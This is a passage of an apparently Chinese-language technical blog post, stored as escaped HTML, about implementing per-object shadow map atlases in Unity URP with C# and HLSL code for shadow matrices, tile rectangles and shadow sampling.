class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ecosAngle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0.5f\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0.5f\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e筛选过程本质上就是,从 \u003cspan class=\"arithmatex\"\u003e\\(n\\)\u003c/span\u003e 个数中找出前 \u003cspan class=\"arithmatex\"\u003e\\(k\\)\u003c/span\u003e 小元素的问题,对筛选出的 \u003cspan class=\"arithmatex\"\u003e\\(k\\)\u003c/span\u003e 个元素的顺序是没有要求的。可以维护一个大小为 \u003cspan class=\"arithmatex\"\u003e\\(k\\)\u003c/span\u003e 的大顶堆来实现,时间复杂度是 \u003cspan class=\"arithmatex\"\u003e\\(O(n \\log k)\\)\u003c/span\u003e。我取的 \u003cspan class=\"arithmatex\"\u003e\\(k=16\\)\u003c/span\u003e。\u003c/p\u003e\n\u003ch3 id=\"绘制阴影图集\"\u003e绘制阴影图集\u003ca class=\"headerlink\" href=\"#绘制阴影图集\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e根据阴影数量开一张大的 Shadow RT 作为图集,每个阴影占据其中的一块区域(tile)。绘制的时候,先算 tile 的位置,然后设置 Viewport,用 ScissorRect 加一点 padding,最后再画。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003ecmd\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSetViewProjectionMatrices\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eview\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eproj\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003ecmd\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSetViewport\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eviewport\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"n\"\u003ecmd\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eEnableScissorRect\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRect\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eviewport\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewport\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewport\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewidth\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewport\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eheight\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// 绘制阴影\u003c/span\u003e\n\u003cspan class=\"n\"\u003ecmd\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eDisableScissorRect\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eShadow Caster 的 Shader 直接改 URP 的就行。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"4x4 Per-Object Shadow Map Atlas\" src=\"../../../obsidian-vault/attachments/per-object-shadow-map-atlas.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e想支持 SRP Batcher 的话,要用 \u003ca href=\"https://docs.unity3d.com/ScriptReference/Rendering.ScriptableRenderContext.DrawRenderers.html\"\u003e\u003ccode\u003eScriptableRenderContext.DrawRenderers\u003c/code\u003e\u003c/a\u003e,但它只能绘制相机里可见的物体。有些物体会投射阴影,但是它不在相机里,所以我目前使用 \u003ca href=\"https://docs.unity3d.com/ScriptReference/Rendering.CommandBuffer.DrawRenderer.html\"\u003e\u003ccode\u003eCommandBuffer.DrawRenderer\u003c/code\u003e\u003c/a\u003e 绘制阴影图。\u003c/p\u003e\n\u003ch3 id=\"设置-Shader-变量\"\u003e设置 Shader 变量\u003ca class=\"headerlink\" href=\"#设置-Shader-变量\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e因为要设置的变量太多了,就挑几个写写。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eShadow Matrix 的作用是把 World Space Position 变换成 xyzw(正交投影)。xy 是 Shadow Map 的 uv。z 是在光源空间的深度,用来和 Shadow Map 上的值比较。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMatrix4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eGetShadowMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eVector2Int\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etilePos\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMatrix4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMatrix4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSystemInfo\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eusesReversedZBuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em20\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em20\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em21\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em21\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em22\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em22\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em23\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em23\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoneOverTileCount\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1.0f\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_ShadowMapSizeInTile\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMatrix4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etextureScaleAndBias\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMatrix4x4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eidentity\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etextureScaleAndBias\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em00\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0.5f\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoneOverTileCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etextureScaleAndBias\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em11\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0.5f\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoneOverTileCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etextureScaleAndBias\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em22\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0.5f\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etextureScaleAndBias\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em03\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e0.5f\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etilePos\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoneOverTileCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etextureScaleAndBias\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em13\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e0.5f\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etilePos\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoneOverTileCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etextureScaleAndBias\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em23\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0.5f\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Apply texture scale and offset to save a MAD in shader.\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etextureScaleAndBias\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eShadow Map Rect 是图集上某一块 tile 的 uv 范围。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVector4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eGetShadowMapRect\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eVector2Int\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etilePos\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// x: xMin\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// y: xMax\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// z: yMin\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// w: yMax\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eVector4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etilePos\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etilePos\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etilePos\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etilePos\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_ShadowMapSizeInTile\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"Shader-代码\"\u003eShader 代码\u003ca class=\"headerlink\" href=\"#Shader-代码\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e一些工具函数。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformWorldToPerObjectShadowCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePerObjectShadow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTEXTURE2D_SHADOW_PARAM\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esampler_shadowMap\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMapRects\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eShadowSamplingData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowSamplingData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ehalf4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowParams\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisPerspectiveProjection\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMapRects\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e||\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMapRects\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e||\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMapRects\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan 